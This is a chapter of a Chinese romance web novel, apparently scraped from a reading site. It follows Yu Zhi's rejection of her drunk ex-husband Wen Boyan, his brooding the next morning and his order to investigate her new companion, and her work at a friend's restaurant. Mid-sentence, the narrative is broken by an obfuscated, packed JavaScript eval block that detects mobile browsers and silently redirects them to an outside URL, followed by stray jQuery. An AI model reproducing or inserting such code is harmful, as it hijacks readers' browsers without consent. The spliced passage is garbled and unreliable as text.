41. 第 41 章
    康武跟林季那边因为高阳的话也消停了。

    但闻博延整个人还高高地愣在高阳背后,回味脸颊上的痛,冥思苦想是不是出自余芷之手。高大的身体有些微的晃荡,像只要有一阵风过来就能把他给吹倒。

    康武放开林季的纠缠,立刻上去将摇摇晃晃的人搀住。

    高阳和康武几乎就将闻博延护在了中间,夜风萧瑟,余芷冷清下来,头点了点头,“行了,我明白了,”

    余芷冷静了,但觉得有点好笑,“感情受挫”这几个字她都不好意思说出来,也不好意思将这种词加在闻博延这样的人身上。

    不过为了白映秋好像是会的,她记得那天剧院门口的事。

    余芷抬眼看去,被护着的闻博延的确是醉得不轻的样子,脸上的神情恍恍惚惚。刚才的拉扯过后身上的衣服有点皱。

    这个她曾经崇拜过的,仰望、爱慕过的人这样的样子真叫她觉得可笑。

    他这样的确跟平常的他不一样,变得不能压制人了,变得不那么值得严阵以待。所以他这副狼狈的样子不去找白映秋,就到这儿来了?

    余芷还记得大半年前,那天闻博延跟老同学聚会也同样喝了很多酒,要她去接,她以为那天会跟白映秋打照面,但她看到的只是康武守着他等在路边。

    不管是从前还是今后,如果有丢脸的时候,余芷大概最不想叫闻博延看到。

    那么闻博延的做法也不难猜想。

    “他感情受挫你们为什么不去找白映秋,跑到我家门前算怎么回事?”

    余芷已经有了猜测,康武快人快语证实了余芷的猜测:闻博延跟白映秋以后不会再来往了,因为白映秋有事骗了他。

    康武话毕,余芷哭笑不得,一旁的高阳是愣了一下,但一时没反应过来康武乍听没问题的话好像哪里不对。

    是不是压根就不该在这种时候提另一个女人?跟前的事也压根就跟旁人八竿子打不着吧。

    -

    一道门板将屋里屋外隔成了两个世界,闻博延不过是来撒酒疯的,不可能有任何事可以得到一个妥善的解决,甚至他本人大概都不知道这是在干什么。

    余芷拉着舅舅回家,高阳说事情不是康武说的那样,余芷不愿意听,只警告他们要是再不离开,她会报警。如果他们不想闻博延明天酒醒了,声誉没了就尽管可以试试。

    院子里有围墙的阻隔,路灯的光亮进来的少。

    黑暗里余芷在前,舅舅在后。

    生活中人与人之间的事,从来就不简单。同床异梦的,人心隔肚皮的,人心难测的,这种事太麻烦。

    也有爱而不自知的,抑或两面三刀,吃着碗里的看着锅里的。

    余芷只对舅舅解释了一句,他们话里提到的那个女人,是闻博延未来会结婚的人。

    一道铁门外的几个人也已经离开。

    闻博延已经不醒人事,挨了余芷一巴掌倒躺在后排睡得安稳。

    翌日清晨,闻博延从宽大的床上醒来,怀里抱着余芷曾经过用的枕头。

    男人毕竟皮糙肉厚,闻博延挨了余芷的巴掌,冷白的脸颊上倒只留下了一点隐隐的痕迹。皮肤有点痛,但这点痛在他一个大男人身上也算不了什么,所以被忽略了。

    从床上下来,进浴室冲澡。他对昨夜的事记忆模糊,热水带走脑中残留的不清醒,但带不回昨夜全部的事情经过。

    站到镜子前刮脸的时候他才想起余芷给的一巴掌。

    下巴刮干净冲洗干净,挨了打的人看起了镜子里自己的脸。

    爱屋及乌的极限能下意识到什么地步?

    闻博延略朝镜子倾身,脸颊侧着。

    他毫不气恼脸颊上的痕迹,修长冷素的手指扶着那边有隐隐红迹的皮肤,指腹轻轻地滑动,摩挲。

    以至于肩膀最里,脖子根下被林季轰的那一拳留下的淤青他也暂时看不见了。

    脸颊上的红迹是余芷留下的,叫他想起了余芷毫不留情的一巴掌。

    一巴掌他可以忽略不计较,但余芷打他巴掌的心是什么心?

    他冥思苦想。

    冥思苦想中又不得不想起余芷身边的野男人。

    闻博延已经差不多穿戴好,但人没有出去,而是回到了卧室在房间里踱步,最后坐在了床尾的沙发上。西裤冷削的膝盖支着胳膊,十根竹节一样的手指硬硬地撑着额头。

    余芷身边有了男人,这就像家里走丢了孩子,孩子不在自己视线里的每一分每一秒都是无法承受的,无法想象后果的。

    闻博延整个人就那样低埋着脸冥思苦想到高阳敲门进来。

    “闻总?您这是哪儿不舒服吗?”

    “没有。”

    “该吃早饭了,上午还有两个会。”高阳提醒,但后者仍然那样支着头,肩膀上的浅蓝色布料泛着幽幽的暗光,显得整个人都很暗淡。

    高阳又道:“时间不早了。”

    “知道了,出去吧。”闻博延闭着眼,手指摁在额头上的样子很是用力,修长的指节里都泛着青白。

    “闻总。”高阳又叫他,这下闻博延是被惹烦了。

    男人双手松开额头,抬起脸来。英气的眉毛皱成一堆,肤色干净的脸也皱成一堆,脸颊上被打了耳光的那边有些微的红迹。

    闻博延对高阳的打扰忍无可忍:“你看不出来我心情不好吗?”

    “看,看出来了,但是还是要开会啊。”高阳硬着头皮,同时摆出一种有点贱兮兮的表情,也同时带着诚肯的表情。

    闻博延快被高阳的样子气疯了,但也是把气压了下来,好好问了高阳一句话:“你刚才叫我什么?”

    闻博延早从总裁荣升了董事长,但身边的人早叫闻总叫习惯了。“董事长。”高阳老实道。

    闻博延讽刺他,“我以为你忘了。所以要来替我安排工作了。”

    “……”

    闻博延还坐在沙发上,高阳站着,明明在视觉上矮下去的人,倒像是有站在房顶上那么高在看着人,压迫人。

    高阳就候着,等着,还是作出一副委屈巴巴的样子讨饶,虽然有点装相,但坐着的上位者也清楚高阳的心。

    他又何尝不知道他的日常生活,他自己为自己安排的生活该是什么样的。

    “去查查昨天那个男人是谁,叫什么名字,干什么的,哪儿来的,越快越好。”

    “余小姐都跟您离婚了,您查人家的事干什么?”

    “……你管得着吗?”

    “我们替您办事,您心里怎么想的要是我们一点也不知道,您不害怕坏事吗。”

    “……”

    “您是不是后悔跟余小姐离婚了?”

    闻博延被高阳的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306691|135800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    打破沙锅问到底弄得脸臭,他的脸原本是绷着的,但被高阳最后一句直戳脊梁骨的话立刻扯松了,脸上显出了一种想掩饰但掩饰不住的,被人拆穿、抓包的难为情。

    -

    老北街的天是亮得比别处早的。

    一大早余芷已经晨跑回家,舅舅也被老爷子一趟一趟的“骚扰”,搅得从温暖的被窝里爬起来,满脸起床气地走进冷冰冰的厨房做早饭。

    因为林家不养闲人。

    一家三口吃了早饭,余芷就自己上班去了。

    佟安欣的餐厅现在是把余芷给捆绑住了,财务有余芷的影子,行政有余芷的影子,连后厨余芷也有半只脚被拖着陷进去了。

    虽然这不是余芷想象中的生活,但她是愉快的。

    余芷按时到了餐厅,早餐时间已经在收尾。后厨里有一张长板桌,桌子早被后厨小徒弟收拾得干干净净。

    余芷一来就被人傍上换了雪白的厨师服,又推又捧地坐上了陆陆续续挤上人的大桌。

    余芷自小喜欢看书,从前是什么书都看,在过去住御景大厦的几年时间里,她看的书到现在也算没有白费。

    厨艺做好了是一门艺术,也应了那句无论做什么事业到最后拼的都是文化。因为有大量饮食文字的堆积,余芷对饮食中的艺术有些积淀,她能跟后厨的大师们聊到一块儿去,就全凭了这些积淀。

    现在后厨开发新菜品的会议,余芷已经是不可缺席的一员。是余芷提出的论季节与餐桌的联系,论温度湿度对味觉的影响,对人的视觉的影响。

    也是她提供了这些理论标题背后的实际想法。

    原来后厨创一道新菜的方法也有许多考究,但有了余芷的加入,这些考究显然更是深入,更是彻底,并附上了强大的文化底蕴。

    也更有了创新菜的新思路,新灵感与一套完整的依据。

    在佟安欣这个老板,觉得自家的菜品如今简直逼格拉满。佟家连锁管理层也都次次采纳会议上的逻辑,作为格式化全面推广。

    下午佟安欣拿着新整理的会议记录看,担心起了余芷什么时候会离开她。

    “此人非池中之物,我当如何应对啊。”

    余芷坐在沙发上喝水,差点被佟安欣耍宝的腔调呛到。

    “不用飘啊,最多佟总给你涨工资,社保公积金顶格。不过你得给我签一份终身劳动合同,你这辈子呢生是我佟总一个人的人,死是我佟总一个人的死鬼。”

    “你才死鬼。”

    “好呐,我就是你的死鬼。”

    “……”

    两个人在办公室里休息,玩闹,楼下餐厅里打来一通电话,“安欣姐,”

    “叫佟总。”

    “佟总,小余姐在吗?”

    “她是我的,你找她干嘛。”

    “不是我要找她,是一个男人找她。”

    “……”

    “就是,我看他好像是上次咱们在酒吧遇上的那个男的。”

    “哪个男的啊?”佟总带人上酒吧的次数多了去了,遇的男人也多了去了。

    “就那回啊,我们不是跟人打起来了吗,小余姐给了那女的一耳光那回。那个给对方撑腰的那个,长得特别帅,眼睛长在天灵盖上,带保镖的那个,今天上财经报的那个。”

    “……”这说的是谁已经不能更明确了。